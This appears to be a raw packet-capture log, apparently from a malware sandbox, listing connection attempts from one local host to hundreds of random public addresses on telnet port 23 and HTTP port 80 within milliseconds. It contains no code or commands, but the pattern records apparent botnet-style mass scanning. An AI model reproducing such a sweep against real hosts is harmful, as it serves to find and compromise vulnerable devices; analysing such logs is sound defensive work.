Dec 28, 2024 20:41:53.028701067 CET	28664	23	192.168.2.23	179.109.56.118
Dec 28, 2024 20:41:53.028707027 CET	28664	23	192.168.2.23	154.112.220.57
Dec 28, 2024 20:41:53.028707027 CET	28664	23	192.168.2.23	223.218.154.75
Dec 28, 2024 20:41:53.028707981 CET	28664	23	192.168.2.23	180.189.98.188
Dec 28, 2024 20:41:53.028709888 CET	28664	23	192.168.2.23	174.245.110.28
Dec 28, 2024 20:41:53.028728962 CET	28664	23	192.168.2.23	195.91.163.113
Dec 28, 2024 20:41:53.028728962 CET	28664	23	192.168.2.23	31.11.234.146
Dec 28, 2024 20:41:53.028733969 CET	28664	23	192.168.2.23	134.81.135.100
Dec 28, 2024 20:41:53.028733969 CET	28664	23	192.168.2.23	39.78.249.170
Dec 28, 2024 20:41:53.028734922 CET	28664	23	192.168.2.23	92.43.158.56
Dec 28, 2024 20:41:53.028736115 CET	28664	23	192.168.2.23	187.3.28.236
Dec 28, 2024 20:41:53.028734922 CET	28664	23	192.168.2.23	110.249.79.95
Dec 28, 2024 20:41:53.028736115 CET	28664	23	192.168.2.23	88.164.100.89
Dec 28, 2024 20:41:53.028745890 CET	28664	23	192.168.2.23	99.225.92.7
Dec 28, 2024 20:41:53.028754950 CET	28664	23	192.168.2.23	81.56.235.31
Dec 28, 2024 20:41:53.028759956 CET	28664	23	192.168.2.23	95.186.42.61
Dec 28, 2024 20:41:53.028759956 CET	28664	23	192.168.2.23	133.131.198.61
Dec 28, 2024 20:41:53.028759956 CET	28664	23	192.168.2.23	77.101.144.127
Dec 28, 2024 20:41:53.028765917 CET	28664	23	192.168.2.23	47.112.166.26
Dec 28, 2024 20:41:53.028765917 CET	28664	23	192.168.2.23	156.113.229.71
Dec 28, 2024 20:41:53.028765917 CET	28664	23	192.168.2.23	49.55.58.170
Dec 28, 2024 20:41:53.028776884 CET	28664	23	192.168.2.23	131.7.32.118
Dec 28, 2024 20:41:53.028775930 CET	28664	23	192.168.2.23	49.4.188.56
Dec 28, 2024 20:41:53.028775930 CET	28664	23	192.168.2.23	84.203.175.207
Dec 28, 2024 20:41:53.028779984 CET	28664	23	192.168.2.23	45.195.16.96
Dec 28, 2024 20:41:53.028779984 CET	28664	23	192.168.2.23	77.154.84.59
Dec 28, 2024 20:41:53.028779984 CET	28664	23	192.168.2.23	1.8.81.89
Dec 28, 2024 20:41:53.028779984 CET	28664	23	192.168.2.23	102.19.163.242
Dec 28, 2024 20:41:53.028785944 CET	28664	23	192.168.2.23	108.77.166.78
Dec 28, 2024 20:41:53.028785944 CET	28664	23	192.168.2.23	190.185.157.23
Dec 28, 2024 20:41:53.028789043 CET	28664	23	192.168.2.23	105.49.243.111
Dec 28, 2024 20:41:53.028791904 CET	28664	23	192.168.2.23	208.187.163.40
Dec 28, 2024 20:41:53.028794050 CET	28664	23	192.168.2.23	220.214.212.192
Dec 28, 2024 20:41:53.028800011 CET	28664	23	192.168.2.23	20.109.10.197
Dec 28, 2024 20:41:53.028800011 CET	28664	23	192.168.2.23	139.110.194.84
Dec 28, 2024 20:41:53.028801918 CET	28664	23	192.168.2.23	78.108.134.16
Dec 28, 2024 20:41:53.028801918 CET	28664	23	192.168.2.23	150.236.239.35
Dec 28, 2024 20:41:53.028816938 CET	28664	23	192.168.2.23	87.89.148.68
Dec 28, 2024 20:41:53.028819084 CET	28664	23	192.168.2.23	24.117.90.80
Dec 28, 2024 20:41:53.028819084 CET	28664	23	192.168.2.23	145.239.232.112
Dec 28, 2024 20:41:53.028827906 CET	28664	23	192.168.2.23	76.76.31.27
Dec 28, 2024 20:41:53.028830051 CET	28664	23	192.168.2.23	37.48.46.51
Dec 28, 2024 20:41:53.028831959 CET	28664	23	192.168.2.23	45.13.157.18
Dec 28, 2024 20:41:53.028831959 CET	28664	23	192.168.2.23	120.48.155.220
Dec 28, 2024 20:41:53.028839111 CET	28664	23	192.168.2.23	117.37.153.36
Dec 28, 2024 20:41:53.028839111 CET	28664	23	192.168.2.23	111.152.69.181
Dec 28, 2024 20:41:53.028839111 CET	28664	23	192.168.2.23	18.81.67.161
Dec 28, 2024 20:41:53.028840065 CET	28664	23	192.168.2.23	147.241.142.152
Dec 28, 2024 20:41:53.028842926 CET	28664	23	192.168.2.23	198.119.107.95
Dec 28, 2024 20:41:53.028846979 CET	28664	23	192.168.2.23	80.82.55.22
Dec 28, 2024 20:41:53.028851032 CET	28664	23	192.168.2.23	44.36.213.151
Dec 28, 2024 20:41:53.028862953 CET	28664	23	192.168.2.23	83.157.187.99
Dec 28, 2024 20:41:53.028862953 CET	28664	23	192.168.2.23	24.133.216.18
Dec 28, 2024 20:41:53.028866053 CET	28664	23	192.168.2.23	207.216.161.213
Dec 28, 2024 20:41:53.028866053 CET	28664	23	192.168.2.23	188.21.13.93
Dec 28, 2024 20:41:53.028866053 CET	28664	23	192.168.2.23	57.232.183.231
Dec 28, 2024 20:41:53.028868914 CET	28664	23	192.168.2.23	78.33.0.146
Dec 28, 2024 20:41:53.028870106 CET	28664	23	192.168.2.23	146.58.160.69
Dec 28, 2024 20:41:53.028872967 CET	28664	23	192.168.2.23	67.232.210.218
Dec 28, 2024 20:41:53.028873920 CET	28664	23	192.168.2.23	132.6.183.237
Dec 28, 2024 20:41:53.028883934 CET	28664	23	192.168.2.23	49.255.68.101
Dec 28, 2024 20:41:53.028887987 CET	28664	23	192.168.2.23	106.29.154.195
Dec 28, 2024 20:41:53.028896093 CET	28664	23	192.168.2.23	171.145.83.4
Dec 28, 2024 20:41:53.028896093 CET	28664	23	192.168.2.23	102.5.192.167
Dec 28, 2024 20:41:53.028896093 CET	28664	23	192.168.2.23	175.249.235.71
Dec 28, 2024 20:41:53.028897047 CET	28664	23	192.168.2.23	138.62.202.249
Dec 28, 2024 20:41:53.028901100 CET	28664	23	192.168.2.23	1.104.222.69
Dec 28, 2024 20:41:53.028902054 CET	28664	23	192.168.2.23	183.166.87.56
Dec 28, 2024 20:41:53.028911114 CET	28664	23	192.168.2.23	47.115.92.213
Dec 28, 2024 20:41:53.028918982 CET	28664	23	192.168.2.23	150.183.248.36
Dec 28, 2024 20:41:53.028928995 CET	28664	23	192.168.2.23	118.166.39.200
Dec 28, 2024 20:41:53.028933048 CET	28664	23	192.168.2.23	169.249.147.128
Dec 28, 2024 20:41:53.028933048 CET	28664	23	192.168.2.23	106.205.162.227
Dec 28, 2024 20:41:53.028933048 CET	28664	23	192.168.2.23	159.175.242.216
Dec 28, 2024 20:41:53.028934956 CET	28664	23	192.168.2.23	72.217.23.227
Dec 28, 2024 20:41:53.028934956 CET	28664	23	192.168.2.23	160.248.177.40
Dec 28, 2024 20:41:53.028944016 CET	28664	23	192.168.2.23	107.69.182.244
Dec 28, 2024 20:41:53.028944969 CET	28664	23	192.168.2.23	54.69.175.9
Dec 28, 2024 20:41:53.028944969 CET	28664	23	192.168.2.23	50.21.126.71
Dec 28, 2024 20:41:53.028944969 CET	28664	23	192.168.2.23	24.184.107.28
Dec 28, 2024 20:41:53.028945923 CET	28664	23	192.168.2.23	137.13.72.90
Dec 28, 2024 20:41:53.028950930 CET	28664	23	192.168.2.23	184.20.229.5
Dec 28, 2024 20:41:53.028950930 CET	28664	23	192.168.2.23	104.36.34.174
Dec 28, 2024 20:41:53.028950930 CET	28664	23	192.168.2.23	25.63.205.22
Dec 28, 2024 20:41:53.028953075 CET	28664	23	192.168.2.23	221.116.33.130
Dec 28, 2024 20:41:53.028960943 CET	28664	23	192.168.2.23	90.228.73.171
Dec 28, 2024 20:41:53.028968096 CET	28664	23	192.168.2.23	177.50.72.77
Dec 28, 2024 20:41:53.028968096 CET	28664	23	192.168.2.23	132.117.45.55
Dec 28, 2024 20:41:53.028980970 CET	28664	23	192.168.2.23	114.26.253.80
Dec 28, 2024 20:41:53.028980970 CET	28664	23	192.168.2.23	12.11.81.215
Dec 28, 2024 20:41:53.028980970 CET	28664	23	192.168.2.23	161.48.196.206
Dec 28, 2024 20:41:53.028987885 CET	28664	23	192.168.2.23	110.0.148.101
Dec 28, 2024 20:41:53.028987885 CET	28664	23	192.168.2.23	57.150.53.74
Dec 28, 2024 20:41:53.028989077 CET	28664	23	192.168.2.23	182.187.60.24
Dec 28, 2024 20:41:53.028990030 CET	28664	23	192.168.2.23	85.64.95.207
Dec 28, 2024 20:41:53.028996944 CET	28664	23	192.168.2.23	212.12.82.249
Dec 28, 2024 20:41:53.028997898 CET	28664	23	192.168.2.23	1.107.106.230
Dec 28, 2024 20:41:53.029001951 CET	28664	23	192.168.2.23	81.81.11.252
Dec 28, 2024 20:41:53.029001951 CET	28664	23	192.168.2.23	27.48.54.124
Dec 28, 2024 20:41:53.029014111 CET	28664	23	192.168.2.23	101.2.74.12
Dec 28, 2024 20:41:53.029016018 CET	28664	23	192.168.2.23	91.33.169.111
Dec 28, 2024 20:41:53.029016972 CET	28664	23	192.168.2.23	185.1.12.243
Dec 28, 2024 20:41:53.029016972 CET	28664	23	192.168.2.23	121.27.238.24
Dec 28, 2024 20:41:53.029022932 CET	28664	23	192.168.2.23	139.173.213.98
Dec 28, 2024 20:41:53.029030085 CET	28664	23	192.168.2.23	65.97.19.176
Dec 28, 2024 20:41:53.029037952 CET	28664	23	192.168.2.23	87.147.122.179
Dec 28, 2024 20:41:53.029038906 CET	28664	23	192.168.2.23	177.22.117.51
Dec 28, 2024 20:41:53.029052019 CET	28664	23	192.168.2.23	203.79.112.129
Dec 28, 2024 20:41:53.029052019 CET	28664	23	192.168.2.23	220.101.44.215
Dec 28, 2024 20:41:53.029052019 CET	28664	23	192.168.2.23	122.128.243.66
Dec 28, 2024 20:41:53.029053926 CET	28664	23	192.168.2.23	58.142.217.3
Dec 28, 2024 20:41:53.029055119 CET	28664	23	192.168.2.23	119.22.254.51
Dec 28, 2024 20:41:53.029055119 CET	28664	23	192.168.2.23	219.76.8.90
Dec 28, 2024 20:41:53.029069901 CET	28664	23	192.168.2.23	131.69.70.89
Dec 28, 2024 20:41:53.029077053 CET	28664	23	192.168.2.23	162.12.168.244
Dec 28, 2024 20:41:53.029079914 CET	28664	23	192.168.2.23	154.115.228.68
Dec 28, 2024 20:41:53.029081106 CET	28664	23	192.168.2.23	166.28.89.105
Dec 28, 2024 20:41:53.029081106 CET	28664	23	192.168.2.23	145.23.198.231
Dec 28, 2024 20:41:53.029081106 CET	28664	23	192.168.2.23	107.130.67.201
Dec 28, 2024 20:41:53.029081106 CET	28664	23	192.168.2.23	95.71.152.3
Dec 28, 2024 20:41:53.029084921 CET	28664	23	192.168.2.23	186.188.23.246
Dec 28, 2024 20:41:53.029084921 CET	28664	23	192.168.2.23	70.175.187.187
Dec 28, 2024 20:41:53.029120922 CET	28664	23	192.168.2.23	198.3.199.219
Dec 28, 2024 20:41:53.029122114 CET	28664	23	192.168.2.23	123.153.128.34
Dec 28, 2024 20:41:53.029122114 CET	28664	23	192.168.2.23	64.146.113.2
Dec 28, 2024 20:41:53.029123068 CET	28664	23	192.168.2.23	37.136.193.94
Dec 28, 2024 20:41:53.029125929 CET	28664	23	192.168.2.23	93.78.151.16
Dec 28, 2024 20:41:53.029129028 CET	28664	23	192.168.2.23	124.63.115.36
Dec 28, 2024 20:41:53.029131889 CET	28664	23	192.168.2.23	129.65.235.193
Dec 28, 2024 20:41:53.029145956 CET	28664	23	192.168.2.23	188.72.136.2
Dec 28, 2024 20:41:53.029145956 CET	28664	23	192.168.2.23	54.145.67.197
Dec 28, 2024 20:41:53.029150009 CET	28664	23	192.168.2.23	129.61.14.85
Dec 28, 2024 20:41:53.029150963 CET	28664	23	192.168.2.23	4.99.235.76
Dec 28, 2024 20:41:53.029150963 CET	28664	23	192.168.2.23	119.76.99.210
Dec 28, 2024 20:41:53.029150963 CET	28664	23	192.168.2.23	52.250.102.73
Dec 28, 2024 20:41:53.029150963 CET	28664	23	192.168.2.23	149.163.44.97
Dec 28, 2024 20:41:53.029150963 CET	28664	23	192.168.2.23	95.166.103.125
Dec 28, 2024 20:41:53.029154062 CET	28664	23	192.168.2.23	31.150.58.236
Dec 28, 2024 20:41:53.029160976 CET	28664	23	192.168.2.23	223.171.132.145
Dec 28, 2024 20:41:53.029160976 CET	28664	23	192.168.2.23	72.0.179.149
Dec 28, 2024 20:41:53.029162884 CET	28664	23	192.168.2.23	153.75.215.43
Dec 28, 2024 20:41:53.029172897 CET	28664	23	192.168.2.23	157.139.158.58
Dec 28, 2024 20:41:53.029181004 CET	28664	23	192.168.2.23	176.164.93.250
Dec 28, 2024 20:41:53.029186964 CET	28664	23	192.168.2.23	96.9.237.187
Dec 28, 2024 20:41:53.029190063 CET	28664	23	192.168.2.23	115.154.196.81
Dec 28, 2024 20:41:53.029201031 CET	28664	23	192.168.2.23	155.92.25.250
Dec 28, 2024 20:41:53.029201031 CET	28664	23	192.168.2.23	130.106.224.233
Dec 28, 2024 20:41:53.029206038 CET	28664	23	192.168.2.23	158.206.185.151
Dec 28, 2024 20:41:53.029206991 CET	28664	23	192.168.2.23	106.31.174.140
Dec 28, 2024 20:41:53.029212952 CET	28664	23	192.168.2.23	190.42.26.129
Dec 28, 2024 20:41:53.029213905 CET	28664	23	192.168.2.23	94.106.11.41
Dec 28, 2024 20:41:53.029213905 CET	28664	23	192.168.2.23	97.23.3.53
Dec 28, 2024 20:41:53.029213905 CET	28664	23	192.168.2.23	109.108.177.174
Dec 28, 2024 20:41:53.029217005 CET	28664	23	192.168.2.23	217.103.41.215
Dec 28, 2024 20:41:53.029225111 CET	28664	23	192.168.2.23	193.205.36.126
Dec 28, 2024 20:41:53.029227018 CET	28664	23	192.168.2.23	198.215.243.134
Dec 28, 2024 20:41:53.029227018 CET	28664	23	192.168.2.23	68.245.21.74
Dec 28, 2024 20:41:53.029228926 CET	28664	23	192.168.2.23	189.9.165.24
Dec 28, 2024 20:41:53.029237986 CET	28664	23	192.168.2.23	58.218.194.245
Dec 28, 2024 20:41:53.029237986 CET	28664	23	192.168.2.23	152.186.80.224
Dec 28, 2024 20:41:53.029243946 CET	28664	23	192.168.2.23	36.123.87.219
Dec 28, 2024 20:41:53.029243946 CET	28664	23	192.168.2.23	191.234.19.110
Dec 28, 2024 20:41:53.029243946 CET	28664	23	192.168.2.23	207.122.175.69
Dec 28, 2024 20:41:53.029244900 CET	28664	23	192.168.2.23	101.97.144.140
Dec 28, 2024 20:41:53.029247046 CET	28664	23	192.168.2.23	101.33.42.156
Dec 28, 2024 20:41:53.029254913 CET	28664	23	192.168.2.23	192.205.78.183
Dec 28, 2024 20:41:53.029262066 CET	28664	23	192.168.2.23	144.44.174.137
Dec 28, 2024 20:41:53.029263973 CET	28664	23	192.168.2.23	159.38.221.223
Dec 28, 2024 20:41:53.029267073 CET	28664	23	192.168.2.23	117.176.221.39
Dec 28, 2024 20:41:53.029267073 CET	28664	23	192.168.2.23	115.19.60.187
Dec 28, 2024 20:41:53.029270887 CET	28664	23	192.168.2.23	158.221.157.117
Dec 28, 2024 20:41:53.029270887 CET	28664	23	192.168.2.23	54.233.186.186
Dec 28, 2024 20:41:53.029282093 CET	28664	23	192.168.2.23	174.164.148.5
Dec 28, 2024 20:41:53.029284000 CET	28664	23	192.168.2.23	104.134.27.116
Dec 28, 2024 20:41:53.029293060 CET	28664	23	192.168.2.23	50.50.213.57
Dec 28, 2024 20:41:53.029293060 CET	28664	23	192.168.2.23	19.250.19.67
Dec 28, 2024 20:41:53.029294968 CET	28664	23	192.168.2.23	78.70.201.174
Dec 28, 2024 20:41:53.029308081 CET	28664	23	192.168.2.23	121.212.205.153
Dec 28, 2024 20:41:53.029308081 CET	28664	23	192.168.2.23	160.248.145.54
Dec 28, 2024 20:41:53.029309988 CET	28664	23	192.168.2.23	71.66.225.23
Dec 28, 2024 20:41:53.029309988 CET	28664	23	192.168.2.23	169.72.100.229
Dec 28, 2024 20:41:53.029315948 CET	28664	23	192.168.2.23	155.111.93.13
Dec 28, 2024 20:41:53.029315948 CET	28664	23	192.168.2.23	175.172.133.161
Dec 28, 2024 20:41:53.029315948 CET	28664	23	192.168.2.23	163.199.134.140
Dec 28, 2024 20:41:53.029330969 CET	28664	23	192.168.2.23	4.231.41.86
Dec 28, 2024 20:41:53.029330969 CET	28664	23	192.168.2.23	210.242.165.17
Dec 28, 2024 20:41:53.029330969 CET	28664	23	192.168.2.23	143.155.104.41
Dec 28, 2024 20:41:53.029333115 CET	28664	23	192.168.2.23	57.32.138.230
Dec 28, 2024 20:41:53.029333115 CET	28664	23	192.168.2.23	70.220.180.18
Dec 28, 2024 20:41:53.029339075 CET	28664	23	192.168.2.23	98.47.21.220
Dec 28, 2024 20:41:53.029339075 CET	28664	23	192.168.2.23	155.151.236.228
Dec 28, 2024 20:41:53.029340982 CET	28664	23	192.168.2.23	208.25.61.72
Dec 28, 2024 20:41:53.029340982 CET	28664	23	192.168.2.23	73.103.28.10
Dec 28, 2024 20:41:53.029340982 CET	28664	23	192.168.2.23	136.199.176.117
Dec 28, 2024 20:41:53.029342890 CET	28664	23	192.168.2.23	167.232.115.160
Dec 28, 2024 20:41:53.029344082 CET	28664	23	192.168.2.23	95.153.31.218
Dec 28, 2024 20:41:53.029344082 CET	28664	23	192.168.2.23	115.191.152.140
Dec 28, 2024 20:41:53.029355049 CET	28664	23	192.168.2.23	163.39.52.232
Dec 28, 2024 20:41:53.029356003 CET	28664	23	192.168.2.23	185.47.228.243
Dec 28, 2024 20:41:53.029369116 CET	28664	23	192.168.2.23	128.16.48.200
Dec 28, 2024 20:41:53.029373884 CET	28664	23	192.168.2.23	65.91.130.211
Dec 28, 2024 20:41:53.029375076 CET	28664	23	192.168.2.23	159.21.168.90
Dec 28, 2024 20:41:53.029383898 CET	28664	23	192.168.2.23	14.37.239.91
Dec 28, 2024 20:41:53.029383898 CET	28664	23	192.168.2.23	106.29.122.200
Dec 28, 2024 20:41:53.029386044 CET	28664	23	192.168.2.23	105.111.142.18
Dec 28, 2024 20:41:53.029386044 CET	28664	23	192.168.2.23	71.231.81.197
Dec 28, 2024 20:41:53.029387951 CET	28664	23	192.168.2.23	218.75.242.182
Dec 28, 2024 20:41:53.029387951 CET	28664	23	192.168.2.23	42.197.233.191
Dec 28, 2024 20:41:53.029387951 CET	28664	23	192.168.2.23	88.210.119.215
Dec 28, 2024 20:41:53.029391050 CET	28664	23	192.168.2.23	216.230.107.229
Dec 28, 2024 20:41:53.029407978 CET	28664	23	192.168.2.23	206.214.43.162
Dec 28, 2024 20:41:53.029416084 CET	28664	23	192.168.2.23	196.44.159.172
Dec 28, 2024 20:41:53.029417038 CET	28664	23	192.168.2.23	165.229.93.54
Dec 28, 2024 20:41:53.029417038 CET	28664	23	192.168.2.23	184.184.27.250
Dec 28, 2024 20:41:53.029417038 CET	28664	23	192.168.2.23	51.171.96.100
Dec 28, 2024 20:41:53.029417038 CET	28664	23	192.168.2.23	183.54.50.54
Dec 28, 2024 20:41:53.029419899 CET	28664	23	192.168.2.23	62.133.55.55
Dec 28, 2024 20:41:53.029423952 CET	28664	23	192.168.2.23	46.138.253.48
Dec 28, 2024 20:41:53.029429913 CET	28664	23	192.168.2.23	77.214.162.151
Dec 28, 2024 20:41:53.029429913 CET	28664	23	192.168.2.23	207.77.14.16
Dec 28, 2024 20:41:53.029438972 CET	28664	23	192.168.2.23	135.153.74.136
Dec 28, 2024 20:41:53.029438972 CET	28664	23	192.168.2.23	52.95.49.132
Dec 28, 2024 20:41:53.029443979 CET	28664	23	192.168.2.23	114.26.231.122
Dec 28, 2024 20:41:53.029443979 CET	28664	23	192.168.2.23	71.55.172.26
Dec 28, 2024 20:41:53.029452085 CET	28664	23	192.168.2.23	118.91.91.239
Dec 28, 2024 20:41:53.029452085 CET	28664	23	192.168.2.23	168.20.84.219
Dec 28, 2024 20:41:53.029453039 CET	28664	23	192.168.2.23	107.31.180.24
Dec 28, 2024 20:41:53.029452085 CET	28664	23	192.168.2.23	37.246.124.37
Dec 28, 2024 20:41:53.029457092 CET	28664	23	192.168.2.23	12.83.148.11
Dec 28, 2024 20:41:53.029470921 CET	28664	23	192.168.2.23	218.200.235.44
Dec 28, 2024 20:41:53.029470921 CET	28664	23	192.168.2.23	138.77.204.200
Dec 28, 2024 20:41:53.029479980 CET	28664	23	192.168.2.23	85.204.92.243
Dec 28, 2024 20:41:53.029483080 CET	28664	23	192.168.2.23	46.226.105.224
Dec 28, 2024 20:41:53.029483080 CET	28664	23	192.168.2.23	163.52.22.111
Dec 28, 2024 20:41:53.029494047 CET	28664	23	192.168.2.23	37.131.53.187
Dec 28, 2024 20:41:53.029498100 CET	28664	23	192.168.2.23	4.254.69.144
Dec 28, 2024 20:41:53.029499054 CET	28664	23	192.168.2.23	132.188.39.207
Dec 28, 2024 20:41:53.029500008 CET	28664	23	192.168.2.23	163.137.138.223
Dec 28, 2024 20:41:53.039414883 CET	28662	80	192.168.2.23	12.19.191.110
Dec 28, 2024 20:41:53.039416075 CET	28662	80	192.168.2.23	61.65.107.26
Dec 28, 2024 20:41:53.039416075 CET	28662	80	192.168.2.23	200.75.46.137
Dec 28, 2024 20:41:53.039416075 CET	28662	80	192.168.2.23	1.6.179.190
Dec 28, 2024 20:41:53.039427042 CET	28662	80	192.168.2.23	51.93.151.15
Dec 28, 2024 20:41:53.039427042 CET	28662	80	192.168.2.23	205.79.128.67
Dec 28, 2024 20:41:53.039433956 CET	28662	80	192.168.2.23	103.125.51.39
Dec 28, 2024 20:41:53.039433956 CET	28662	80	192.168.2.23	24.42.242.220
Dec 28, 2024 20:41:53.039434910 CET	28662	80	192.168.2.23	73.240.208.113
Dec 28, 2024 20:41:53.039434910 CET	28662	80	192.168.2.23	154.101.124.51
Dec 28, 2024 20:41:53.039434910 CET	28662	80	192.168.2.23	144.131.82.215
Dec 28, 2024 20:41:53.039434910 CET	28662	80	192.168.2.23	154.36.191.0
Dec 28, 2024 20:41:53.039434910 CET	28662	80	192.168.2.23	116.169.89.66
Dec 28, 2024 20:41:53.039438009 CET	28662	80	192.168.2.23	174.71.105.62
Dec 28, 2024 20:41:53.039446115 CET	28662	80	192.168.2.23	117.100.235.47
Dec 28, 2024 20:41:53.039446115 CET	28662	80	192.168.2.23	89.113.250.171
Dec 28, 2024 20:41:53.039453030 CET	28662	80	192.168.2.23	39.161.180.161
Dec 28, 2024 20:41:53.039457083 CET	28662	80	192.168.2.23	142.0.206.53
Dec 28, 2024 20:41:53.039458990 CET	28662	80	192.168.2.23	92.120.234.119
Dec 28, 2024 20:41:53.039458990 CET	28662	80	192.168.2.23	197.104.206.16
Dec 28, 2024 20:41:53.039458990 CET	28662	80	192.168.2.23	208.45.156.40
Dec 28, 2024 20:41:53.039468050 CET	28662	80	192.168.2.23	111.55.115.224
Dec 28, 2024 20:41:53.039473057 CET	28662	80	192.168.2.23	79.202.93.247
Dec 28, 2024 20:41:53.039473057 CET	28662	80	192.168.2.23	60.253.35.221
Dec 28, 2024 20:41:53.039473057 CET	28662	80	192.168.2.23	139.119.53.254
Dec 28, 2024 20:41:53.039473057 CET	28662	80	192.168.2.23	116.117.121.107
Dec 28, 2024 20:41:53.039473057 CET	28662	80	192.168.2.23	98.7.83.17
Dec 28, 2024 20:41:53.039479017 CET	28662	80	192.168.2.23	219.227.217.206
Dec 28, 2024 20:41:53.039495945 CET	28662	80	192.168.2.23	103.18.105.13
Dec 28, 2024 20:41:53.039496899 CET	28662	80	192.168.2.23	107.190.116.189
Dec 28, 2024 20:41:53.039498091 CET	28662	80	192.168.2.23	99.190.43.228
Dec 28, 2024 20:41:53.039499044 CET	28662	80	192.168.2.23	117.73.11.61
Dec 28, 2024 20:41:53.039504051 CET	28662	80	192.168.2.23	42.128.23.191
Dec 28, 2024 20:41:53.039506912 CET	28662	80	192.168.2.23	63.255.198.2
Dec 28, 2024 20:41:53.039506912 CET	28662	80	192.168.2.23	154.121.21.4
Dec 28, 2024 20:41:53.039506912 CET	28662	80	192.168.2.23	52.230.139.220
Dec 28, 2024 20:41:53.039515018 CET	28662	80	192.168.2.23	211.254.19.110
Dec 28, 2024 20:41:53.039515018 CET	28662	80	192.168.2.23	23.68.236.30
Dec 28, 2024 20:41:53.039515018 CET	28662	80	192.168.2.23	216.12.128.99
Dec 28, 2024 20:41:53.039518118 CET	28662	80	192.168.2.23	205.134.248.123
Dec 28, 2024 20:41:53.039530039 CET	28662	80	192.168.2.23	61.200.49.158
Dec 28, 2024 20:41:53.039534092 CET	28662	80	192.168.2.23	12.115.168.142
Dec 28, 2024 20:41:53.039534092 CET	28662	80	192.168.2.23	8.90.142.156
Dec 28, 2024 20:41:53.039535046 CET	28662	80	192.168.2.23	54.4.181.212
Dec 28, 2024 20:41:53.039546013 CET	28662	80	192.168.2.23	94.216.150.10
Dec 28, 2024 20:41:53.039555073 CET	28662	80	192.168.2.23	153.74.132.20
Dec 28, 2024 20:41:53.039561033 CET	28662	80	192.168.2.23	46.74.132.92
Dec 28, 2024 20:41:53.039556026 CET	28662	80	192.168.2.23	221.208.130.48
Dec 28, 2024 20:41:53.039580107 CET	28662	80	192.168.2.23	75.99.252.163
Dec 28, 2024 20:41:53.039580107 CET	28662	80	192.168.2.23	96.226.83.199
Dec 28, 2024 20:41:53.039582968 CET	28662	80	192.168.2.23	170.7.184.177
Dec 28, 2024 20:41:53.039586067 CET	28662	80	192.168.2.23	173.151.228.167
Dec 28, 2024 20:41:53.039586067 CET	28662	80	192.168.2.23	193.108.223.145
Dec 28, 2024 20:41:53.039593935 CET	28662	80	192.168.2.23	34.57.210.230
Dec 28, 2024 20:41:53.039596081 CET	28662	80	192.168.2.23	100.163.134.49
Dec 28, 2024 20:41:53.039596081 CET	28662	80	192.168.2.23	152.104.42.123
Dec 28, 2024 20:41:53.039598942 CET	28662	80	192.168.2.23	213.5.147.144
Dec 28, 2024 20:41:53.039598942 CET	28662	80	192.168.2.23	69.212.163.85
Dec 28, 2024 20:41:53.039608955 CET	28662	80	192.168.2.23	60.46.108.143
Dec 28, 2024 20:41:53.039608955 CET	28662	80	192.168.2.23	205.164.143.166
Dec 28, 2024 20:41:53.039609909 CET	28662	80	192.168.2.23	183.78.129.130
Dec 28, 2024 20:41:53.039613008 CET	28662	80	192.168.2.23	68.189.6.59
Dec 28, 2024 20:41:53.039613008 CET	28662	80	192.168.2.23	49.232.74.158
Dec 28, 2024 20:41:53.039613008 CET	28662	80	192.168.2.23	193.241.186.206
Dec 28, 2024 20:41:53.039613962 CET	28662	80	192.168.2.23	39.186.177.67
Dec 28, 2024 20:41:53.039613962 CET	28662	80	192.168.2.23	165.105.161.75
Dec 28, 2024 20:41:53.039614916 CET	28662	80	192.168.2.23	52.125.148.150
Dec 28, 2024 20:41:53.039618969 CET	28662	80	192.168.2.23	75.57.53.133
Dec 28, 2024 20:41:53.039619923 CET	28662	80	192.168.2.23	204.204.188.83
Dec 28, 2024 20:41:53.039621115 CET	28662	80	192.168.2.23	134.65.110.187
Dec 28, 2024 20:41:53.039623022 CET	28662	80	192.168.2.23	103.97.176.234
Dec 28, 2024 20:41:53.039630890 CET	28662	80	192.168.2.23	174.73.34.36
Dec 28, 2024 20:41:53.039634943 CET	28662	80	192.168.2.23	130.61.161.195
Dec 28, 2024 20:41:53.039634943 CET	28662	80	192.168.2.23	48.138.137.174
Dec 28, 2024 20:41:53.039649963 CET	28662	80	192.168.2.23	48.232.190.93
Dec 28, 2024 20:41:53.039653063 CET	28662	80	192.168.2.23	221.147.64.63
Dec 28, 2024 20:41:53.039654970 CET	28662	80	192.168.2.23	32.3.24.1
Dec 28, 2024 20:41:53.039660931 CET	28662	80	192.168.2.23	103.16.169.172
Dec 28, 2024 20:41:53.039660931 CET	28662	80	192.168.2.23	52.43.90.117
Dec 28, 2024 20:41:53.039660931 CET	28662	80	192.168.2.23	4.119.133.99
Dec 28, 2024 20:41:53.039660931 CET	28662	80	192.168.2.23	192.58.13.155
Dec 28, 2024 20:41:53.039661884 CET	28662	80	192.168.2.23	80.60.186.182
Dec 28, 2024 20:41:53.039669991 CET	28662	80	192.168.2.23	188.191.101.3
Dec 28, 2024 20:41:53.039669991 CET	28662	80	192.168.2.23	109.174.32.86
Dec 28, 2024 20:41:53.039686918 CET	28662	80	192.168.2.23	212.233.210.179
Dec 28, 2024 20:41:53.039690971 CET	28662	80	192.168.2.23	74.5.88.93
Dec 28, 2024 20:41:53.039690971 CET	28662	80	192.168.2.23	93.1.236.69
Dec 28, 2024 20:41:53.039694071 CET	28662	80	192.168.2.23	221.77.116.204
Dec 28, 2024 20:41:53.039697886 CET	28662	80	192.168.2.23	84.4.222.99
Dec 28, 2024 20:41:53.039701939 CET	28662	80	192.168.2.23	80.233.116.60
Dec 28, 2024 20:41:53.039711952 CET	28662	80	192.168.2.23	209.91.148.209
Dec 28, 2024 20:41:53.039712906 CET	28662	80	192.168.2.23	142.82.64.171
Dec 28, 2024 20:41:53.039714098 CET	28662	80	192.168.2.23	212.190.38.56
Dec 28, 2024 20:41:53.039716005 CET	28662	80	192.168.2.23	145.13.9.96
Dec 28, 2024 20:41:53.039719105 CET	28662	80	192.168.2.23	173.121.208.126
Dec 28, 2024 20:41:53.039760113 CET	28662	80	192.168.2.23	77.147.137.134
Dec 28, 2024 20:41:53.039763927 CET	28662	80	192.168.2.23	198.7.202.57
Dec 28, 2024 20:41:53.039768934 CET	28662	80	192.168.2.23	112.230.246.152
Dec 28, 2024 20:41:53.039768934 CET	28662	80	192.168.2.23	117.156.24.164
Dec 28, 2024 20:41:53.039768934 CET	28662	80	192.168.2.23	157.87.222.53
Dec 28, 2024 20:41:53.039777040 CET	28662	80	192.168.2.23	209.149.245.101
Dec 28, 2024 20:41:53.039777994 CET	28662	80	192.168.2.23	161.22.184.134
